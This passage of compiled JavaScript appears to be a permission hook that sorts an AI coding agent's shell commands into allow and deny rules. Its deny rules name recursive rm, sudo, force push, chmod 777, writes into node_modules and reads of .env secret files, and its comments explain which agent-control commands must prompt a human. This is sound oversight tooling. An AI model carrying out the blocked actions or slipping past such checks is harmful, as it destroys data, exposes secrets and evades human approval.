isGitCleanDryRun(after);\n	if (sub === \"branch\") return isGitBranchListing(after);\n	return false;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n	\"install\",\n	\"i\",\n	\"add\",\n	\"remove\",\n	\"rm\",\n	\"uninstall\",\n	\"un\",\n	\"update\",\n	\"up\",\n	\"upgrade\",\n	\"list\",\n	\"ls\",\n	\"ll\",\n	\"la\",\n	\"why\",\n	\"view\",\n	\"info\",\n	\"show\",\n	\"outdated\",\n	\"audit\",\n	\"licenses\",\n	\"init\",\n	\"create\",\n	\"link\",\n	\"unlink\",\n	\"pack\",\n	\"publish\",\n	\"config\",\n	\"set\",\n	\"get\",\n	\"store\",\n	\"cache\",\n	\"rebuild\",\n	\"rb\",\n	\"prune\",\n	\"dedupe\",\n	\"dlx\",\n	\"exec\",\n	\"run\",\n	\"patch\",\n	\"patch-commit\",\n	\"recursive\",\n	\"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n	\"list\",\n	\"ls\",\n	\"ll\",\n	\"la\",\n	\"why\",\n	\"view\",\n	\"info\",\n	\"show\",\n	\"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n	const subTokens = tokens.slice(1);\n	let subcommand;\n	for (const t of subTokens) {\n		if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n		subcommand = t;\n		break;\n	}\n	if (!subcommand) return false;\n	if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n	if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n	if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n	return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n	\"view\",\n	\"info\",\n	\"show\"\n]);\nfunction isNpmReadOp(tokens) {\n	const sub = tokens[1];\n	return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n	const sub = tokens[1];\n	const BASE = \"This project uses pnpm.\";\n	if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n	if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n		if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n		return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n	}\n	if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n	if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n	if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n	if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n	if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n	if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n	if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n	if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n	if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n	if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n	if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n	if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n	if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n	if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n	if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n	if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n	if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n	if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n	if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n	if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n	return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n	\"cp\",\n	\"mv\",\n	\"rsync\",\n	\"install\",\n	\"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n	for (const [i, t] of rest.entries()) {\n		if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n		if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n	}\n	return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n	const dests = [];\n	for (const [i, t] of tokens.entries()) {\n		if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n			const next = tokens[i + 1];\n			if (next !== void 0) dests.push(next);\n			continue;\n		}\n		const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n		if (attached?.[1] !== void 0) dests.push(attached[1]);\n	}\n	return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n	const cmd = path.basename(tokens[0] ?? \"\");\n	const rest = tokens.slice(1);\n	const dests = redirectDestinations(tokens);\n	if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n	else if (cmd === \"sed\") {\n		if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n	} else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n	else if (LAST_POSITIONAL_DEST.has(cmd)) {\n		if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n		const targetDir = explicitTargetDirectory(rest);\n		if (targetDir !== null) dests.push(targetDir);\n		else {\n			const last = rest.findLast((t) => !t.startsWith(\"-\"));\n			if (last !== void 0) dests.push(last);\n		}\n	}\n	return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n	return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n	for (const t of tokens.slice(1)) {\n		if (t.startsWith(\"-\")) {\n			if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n			continue;\n		}\n		if (path.basename(t).startsWith(\".\")) return false;\n		if (t.startsWith(\"~/\") || t === \"~\") return false;\n		if (targetsGitDir(t, ctx.cwd)) return false;\n		if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n	}\n	return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n	\"-ok\",\n	\"-okdir\",\n	\"-delete\",\n	\"-fprint\",\n	\"-fprint0\",\n	\"-fprintf\",\n	\"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n	\"cat\",\n	\"head\",\n	\"tail\",\n	\"grep\",\n	\"egrep\",\n	\"fgrep\",\n	\"ls\",\n	\"wc\",\n	\"file\",\n	\"stat\",\n	\"basename\",\n	\"dirname\",\n	\"realpath\",\n	\"readlink\",\n	\"sha256sum\",\n	\"sha1sum\",\n	\"md5sum\",\n	\"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n	const cmdToken = tokens[startIdx + 1];\n	if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n	return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n	for (let i = 0; i < tokens.length; i++) {\n		const t = tokens[i];\n		if (t === void 0) continue;\n		if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n		if (t === \"-exec\" || t === \"-execdir\") {\n			const cmd = findExecCommand(tokens, i);\n			if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n		}\n	}\n	return true;\n}\nfunction isSortSafe(tokens) {\n	return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n	const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n	if (rmIdx === -1) return false;\n	const afterRm = tokens.slice(rmIdx + 1);\n	const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n	const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n	const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n	const hasRecursiveLong = longFlags.includes(\"--recursive\");\n	return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n	return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n	const pushIdx = tokens.indexOf(\"push\");\n	if (pushIdx === -1) return false;\n	return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n	if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n	if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n	const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n	return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n	\"checks:run\",\n	\"lint:types\",\n	\"lint:report\",\n	\"hooks:audit\",\n	\"hooks:sync\",\n	\"docker:build\",\n	\"docker:check\",\n	\"repo:sync\",\n	\"coverage:check\",\n	\"coverage:summary\",\n	\"coverage:status\",\n	\"health:check\",\n	\"health:summary\",\n	\"health:status\",\n	\"ascii:check\",\n	\"docs:check\",\n	\"docs:delink\",\n	\"docs:relocate\",\n	\"docs:retire\",\n	\"pr:create\",\n	\"pr:update\",\n	\"pr:checks\",\n	\"pr:list\",\n	\"commit:status\",\n	\"issue:view\",\n	\"issue:list\",\n	\"issue:download\",\n	\"findings:add\",\n	\"findings:list\",\n	\"findings:resolve\",\n	\"plan:workspace\",\n	\"plan:brief\",\n	\"plan:review-package\",\n	\"plan:status\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* `pr:create`/`pr:update` are safe because an update PATCHes only the fields it was given and\n* refuses to drop a closing keyword the PR's body already carries. `--allow-unlink` is the one\n* flag that turns that refusal off, and what it permits -- an issue silently staying open after\n* its PR merges -- is the exact failure this whole command pair was split apart to prevent, and\n* one no PR review catches (the diff looks fine; the link is just gone). A guard an agent can\n* step over unattended is not a guard, so passing it prompts.\n*\n* `plan:brief`/`plan:review-package` write only inside the plan's scratch directory unless\n* given `--out`, which writes to any path and overwrites it -- including a path through a\n* pnpm-store hardlink under node_modules that the hook otherwise denies -- so it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is -- fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = {\n	\"issue:download\": [\"--force\"],\n	\"pr:create\": [\"--allow-unlink\"],\n	\"pr:update\": [\"--allow-unlink\"],\n	\"plan:brief\": [\"--out\"],\n	\"plan:review-package\": [\"--out\"]\n};\nfunction hasDisqualifyingFlag(sub, tokens) {\n	const flags = BST_UNSAFE_FLAGS[sub];\n	if (!flags) return false;\n	return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\n/**\n* Safe under `bst-agent` only. All eight are read-only, and they only exist where the agent\n* runs, so the published CLI has no such command to classify.\n*\n* `agent:start` is deliberately absent: it spawns containers and holds two credentials, so it\n* prompts. `agent:pause` and `agent:resume` are deliberately absent too: they mutate a live\n* daemon's behavior -- halting it, or re-arming autonomous claiming and automerging an operator\n* paused on purpose -- and neither write flows through a PR where a review could catch it, so an\n* unattended agent must not be able to do either without a human answering a prompt.\n* `bst-agent` is a workspace-linked bin of a private package, the same trust shape as\n* `bst` (a name pnpm resolves, not a filesystem path an agent can manufacture), so it inherits\n* `BST_SAFE_SUBCOMMANDS` and `BST_UNSAFE_FLAGS` unchanged.\n*\n* The three `egress:*` read-only verbs join the set for the same reason the `agent:*` ones did:\n* each only ever reads the drained proxy decision logs (or, for `egress:status`, the orphan\n* history branch) and writes nothing. `egress:record` is deliberately absent -- it pushes to\n* that orphan branch, a remote write no PR review catches, so it stays a passthrough prompt like\n* `coverage:record`/`health:record`.\n*\n* `agent:token-rate` joins for the same reason `agent:review-rounds` did: it only reads the\n* forge's own comment trail and computes a distribution over it, writing nothing.\n*\n* `agent:models-check` joins too: like `agent:calibrate`, it reaches the network, but only to\n* read each configured endpoint's own health and effort words -- it touches no forge, so there is\n* still no remote write a PR review could miss.\n*/\nconst BST_AGENT_ONLY_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n	\"agent:calibrate\",\n	\"agent:context-usage\",\n	\"agent:models-check\",\n	\"agent:repair-candidates\",\n	\"agent:review-rounds\",\n	\"agent:status\",\n	\"agent:token-rate\",\n	\"agent:transcript\",\n	\"egress:check\",\n	\"egress:status\",\n	\"egress:summary\"\n]);\nfunction isBstSafe(tokens, extraSafe) {\n	const sub = tokens[1];\n	if (!sub) return false;\n	if (!BST_SAFE_SUBCOMMANDS.has(sub) && !extraSafe?.has(sub)) return false;\n	return !hasDisqualifyingFlag(sub, tokens);\n}\n/**\n* mise subcommands that are safe to auto-approve: read-only inspection (`ls`, `which`, `env`,\n* `current`, `doctor`), plus `install` and `trust`, which only provision the pins `mise.toml`\n* already declares (the same trust boundary the file itself carries) rather than fetching\n* anything the repo owner did not already name.\n*\n* `mise run <task>` is deliberately absent: resolving what a task body actually does would mean\n* parsing `mise.toml` here, a dependency this package does not carry, and the only task any\n* fleet repo declares today runs `sdkmanager`, which would prompt anyway under its own name. It\n* stays a passthrough prompt.\n*/\nconst MISE_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n	\"install\",\n	\"ls\",\n	\"which\",\n	\"env\",\n	\"trust\",\n	\"current\",\n	\"doctor\"\n]);\nfunction isMiseSafe(tokens) {\n	const sub = tokens[1];\n	if (!sub) return false;\n	return MISE_SAFE_SUBCOMMANDS.has(sub);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n	if (token.startsWith(\"~\")) return false;\n	if (!token.endsWith(\".md\")) return false;\n	const docsRoot = resolveIn(ctx.cwd, \"docs\");\n	return isWithin(docsRoot, resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n	const paths = [];\n	for (const t of tokens.slice(1)) {\n		if (t.startsWith(\"-\")) {\n			if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n			continue;\n		}\n		paths.push(t);\n	}\n	return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n	\"n\",\n	\"E\",\n	\"r\",\n	\"s\",\n	\"u\",\n	\"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n	\"--quiet\",\n	\"--silent\",\n	\"--debug\",\n	\"--follow-symlinks\",\n	\"--in-place\",\n	\"--posix\",\n	\"--regexp-extended\",\n	\"--separate\",\n	\"--sandbox\",\n	\"--unbuffered\",\n	\"--null-data\",\n	\"--help\",\n	\"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (-> passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n	let sawScriptOption = false;\n	let skipNext = false;\n	const positionals = [];\n	for (const t of tokens.slice(1)) {\n		if (skipNext) {\n			skipNext = false;\n			continue;\n		}\n		if (t === \"-\" || !t.startsWith(\"-\")) {\n			positionals.push(t);\n			continue;\n		}\n		if (t.startsWith(\"--\")) {\n			const eq = t.indexOf(\"=\");\n			const base = eq === -1 ? t : t.slice(0, eq);\n			if (base === \"--expression\" || base === \"--file\") {\n				sawScriptOption = true;\n				if (eq === -1) skipNext = true;\n				continue;\n			}\n			if (base === \"--line-length\") {\n				if (eq === -1) skipNext = true;\n				continue;\n			}\n			if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n			return false;\n		}\n		const body = t.slice(1);\n		for (let c = 0; c < body.length; c++) {\n			const ch = body[c];\n			if (ch === \"i\") break;\n			if (ch === \"e\" || ch === \"f\") {\n				sawScriptOption = true;\n				if (c === body.length - 1) skipNext = true;\n				break;\n			}\n			if (ch === \"l\") {\n				if (c === body.length - 1) skipNext = true;\n				break;\n			}\n			if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n		}\n	}\n	const files = sawScriptOption ? positionals : positionals.slice(1);\n	return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n	{\n		name: \"rm-recursive\",\n		match: /^rm$/,\n		action: \"deny\",\n		when: (tokens) => isRmRecursive(tokens),\n		reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n	},\n	{\n		name: \"sudo\",\n		match: /^sudo$/,\n		action: \"deny\",\n		reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n	},\n	{\n		name: \"git-force-push\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens) => isGitForcePush(tokens),\n		reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n	},\n	{\n		name: \"git-reset-hard\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n		reason: \"Don't `reset --hard` on main. Create a branch first.\"\n	},\n	{\n		name: \"git-discard-changes\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens) => isGitDiscardChanges(tokens),\n		reason: \"`-f` / `--discard-changes` throws uncommitted changes away, and nothing reports what was lost. Save them first -- `git stash push` is auto-approved -- then `git switch <branch>` and `git stash pop`. If the changes belong on the target branch, plain `git switch <branch>` carries them over. Ask the user before discarding anything.\"\n	},\n	{\n		name: \"git-bare-checkout\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens) => isGitBareCheckout(tokens) && !isGitCheckoutPathRestore(tokens),\n		reason: \"Use `git switch <branch>` to change branches -- unlike `checkout` it cannot discard uncommitted file changes, and it is auto-approved. To create a branch: `git switch -c <branch>` (or `git checkout -b <branch>`). To restore a file, name the path after a `--` separator (`git restore [--source <ref>] -- <path>`, or `git checkout [<ref>] -- <path>`); both prompt rather than being auto-approved.\"\n	},\n	{\n		name: \"git-protected-branch-write\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => isGitProtectedBranchWrite(tokens, ctx),\n		reason: \"Not auto-approved on a protected branch. Create a feature branch first -- `git switch -c <branch>` is auto-approved, and commit/merge/rebase/cherry-pick/revert/reset are auto-approved once you are on it. To push from there, `git push origin <branch>` with an explicit refspec.\"\n	},\n	{\n		name: \"git-protected-branch-force-create\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => isGitProtectedBranchForceCreate(tokens, ctx),\n		reason: \"Force-create (`switch -C`/`--force-create`, `checkout -B`, `worktree add -B`) doesn't just create a branch -- when the branch already exists it resets it to the start point (HEAD by default) and checks it out. To switch to this branch, plain `git switch <branch>` is auto-approved. To create a work branch, pick a non-protected name (`git switch -C <feature>` stays auto-approved). Resetting a protected branch to its origin state is the user's to run.\"\n	},\n	{\n		name: \"git-protected-branch-ref-write\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => isGitProtectedBranchRefWrite(tokens, ctx),\n		reason: \"Not auto-approved on a protected branch: `branch -d`/`-D` deleting one, `branch -f <protected> <start>` overwriting one, `branch -m`/`-M` renaming one away, or `branch -M`/`-C` renaming or copying onto one. To inspect branches, `git branch --list` is auto-approved. To create a work branch, pick a non-protected name (`git branch <feature>` stays auto-approved). Deleting, resetting or renaming a protected branch is the user's to run.\"\n	},\n	{\n		name: \"git-write\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx) && !isGitUnrecognizedBranchFlag(tokens) && !isGitProtectedBranchCreate(tokens, ctx) && !isGitWorktreeMoveOrRemove(tokens) && !isGitCheckoutPathRestore(tokens) && !isGitReadOnlyForm(tokens),\n		reason: \"This git write isn't auto-approved. Working-tree and history operations are auto-approved on a feature branch (`git switch -c <branch>` first); a push needs an explicit refspec from one (`git push origin <branch>`). Writing forms of `tag` and `clean` have no auto-approved form (their listing and dry-run forms do -- `git tag -l`, `git clean -n`); `stash drop`, `git rm -r`, and anything carrying a config/exec-injection or repo-redirect flag have none at all. All of these need the user to run them.\"\n	},\n	{\n		name: \"chmod-777\",\n		match: /^chmod$/,\n		action: \"deny\",\n		when: (tokens) => isChmod777(tokens),\n		reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n	},\n	{\n		name: \"node-modules-write\",\n		match: /./,\n		action: \"deny\",\n		when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n		reason: NODE_MODULES_WRITE_REASON\n	},\n	{\n		name: \"env-file-read\",\n		match: /^(cat|head|tail|less|more|grep)$/,\n		action: \"deny\",\n		when: (tokens) => tokensTargetEnvFile(tokens),\n		reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n	},\n	{\n		name: \"npx-redirect\",\n		match: /^npx$/,\n		action: \"deny\",\n		reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n	},\n	{\n		name: \"mise-self-update\",\n		match: /^mise$/,\n		action: \"deny\",\n		when: (tokens) => tokens[1] === \"self-update\",\n		reason: \"Don't self-update mise. The version is Renovate-managed; ask a human to bump the pin.\"\n	}\n];\nconst allowRules = [\n	{\n		name: \"vitest\",\n		match: /^vitest$/,\n		action: \"allow\"\n	},\n	{\n		name: \"jest\",\n		match: /^jest$/,\n		action: \"allow\"\n	},\n	{\n		name: \"tsc\",\n		match: /^tsc$/,\n		action: \"allow\"\n	},\n	{\n		name: \"tsdown\",\n		match: /^tsdown$/,\n		action: \"allow\"\n	},\n	{\n		name: \"bst\",\n		match: /^bst$/,\n		action: \"allow\",\n		when: (tokens) => isBstSafe(tokens)\n	},\n	{\n		name: \"bst-agent\",\n		match: /^bst-agent$/,\n		action: \"allow\",\n		when: (tokens) => isBstSafe(tokens, BST_AGENT_ONLY_SAFE_SUBCOMMANDS)\n	},\n	{\n		name: \"mise\",\n		match: /^mise$/,\n		action: \"allow\",\n		when: (tokens) => isMiseSafe(tokens)\n	},\n	{\n		name: \"oxlint\",\n		match: /^oxlint$/,\n		action: \"allow\"\n	},\n	{\n		name: \"oxfmt\",\n		match: /^oxfmt$/,\n		action: \"allow\"\n	},\n	{\n		name: \"eslint\",\n		match: /^eslint$/,\n		action: \"allow\"\n	},\n	{\n		name: \"prettier\",\n		match: /^prettier$/,\n		action: \"allow\"\n	},\n	{\n		name: \"biome\",\n		match: /^biome$/,\n		action: \"allow\"\n	},\n	{\n		name: \"knip\",\n		match: /^knip$/,\n		action: \"allow\"\n	},\n	{\n		name: \"cat\",\n		match: /^cat$/,\n		action: \"allow\"\n	},\n	{\n		name: \"head\",\n		match: /^head$/,\n		action: \"allow\"\n	},\n	{\n		name: \"tail\",\n		match: /^tail$/,\n		action: \"allow\"\n	},\n	{\n		name: \"grep\",\n		match: /^grep$/,\n		action: \"allow\"\n	},\n	{\n		name: \"ls\",\n		match: /^ls$/,\n		action: \"allow\"\n	},\n	{\n		name: \"wc\",\n		match: /^wc$/,\n		action: \"allow\"\n	},\n	{\n		name: \"uniq\",\n		match: /^uniq$/,\n		action: \"allow\"\n	},\n	{\n		name: \"diff\",\n		match: /^diff$/,\n		action: \"allow\"\n	},\n	{\n		name: \"echo\",\n		match: /^echo$/,\n		action: \"allow\"\n	},\n	{\n		name: \"pwd\",\n		match: /^pwd$/,\n		action: \"allow\"\n	},\n	{\n		name: \"which\",\n		match: /^which$/,\n		action: \"allow\"\n	},\n	{\n		name: \"dirname\",\n		match: /^dirname$/,\n		action: \"allow\"\n	},\n	{\n		name: \"basename\",\n		match: /^basename$/,\n		action: \"allow\"\n	},\n	{\n		name: \"realpath\",\n		match: /^realpath$/,\n		action: \"allow\"\n	},\n	{\n		name: \"npm\",\n		match: /^npm$/,\n		action: \"allow\",\n		when: (tokens) => isNpmReadOp(tokens)\n	},\n	{\n		name: \"test\",\n		match: /^test$/,\n		action: \"allow\"\n	},\n	{\n		name: \"bracket-test\",\n		match: /^\\[$/,\n		action: \"allow\"\n	},\n	{\n		name: \"cd\",\n		match: /^cd$/,\n		action: \"allow\"\n	},\n	{\n		name: \"true\",\n		match: /^true$/,\n		action: \"allow\"\n	},\n	{\n		name: \"colon\",\n		match: /^:$/,\n		action: \"allow\"\n	},\n	{\n		name: \"find\",\n		match: /^find$/,\n		action: \"allow\",\n		when: (tokens) => isFindSafe(tokens)\n	},\n	{\n		name: \"sort\",\n		match: /^sort$/,\n		action: \"allow\",\n		when: (tokens) => isSortSafe(tokens)\n	},\n	{\n		name: \"git\",\n		match: /^git$/,\n		action: \"allow\",\n		when: (tokens) => isGitReadOp(tokens)\n	},\n	{\n		name: \"git-read-only-form\",\n		match: /^git$/,\n		action: \"allow\",\n		when: (tokens) => isGitReadOnlyForm(tokens)\n	},\n	{\n		name: \"git-safe-write\",\n		match: /^git$/,\n		action: \"allow\",\n		when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx),\n		advise: (tokens, ctx) => isGitBranchCreation(tokens) && isPrimaryWorktree(ctx.cwd) ? WORKTREE_ADVICE : void 0\n	},\n	{\n		name: \"git-feature-branch-write\",\n		match: /^git$/,\n		action: \"allow\",\n		when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n	},\n	{\n		name: \"git-safe-push\",\n		match: /^git$/,\n		action: \"allow\",\n		when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n	},\n	{\n		name: \"pnpm\",\n		match: /^pnpm$/,\n		action: \"allow\",\n		when: (tokens) => isPnpmSafe(tokens)\n	},\n	{\n		name: \"cp\",\n		match: /^cp$/,\n		action: \"allow\",\n		when: (tokens, ctx) => arePathArgsSafe(tokens, 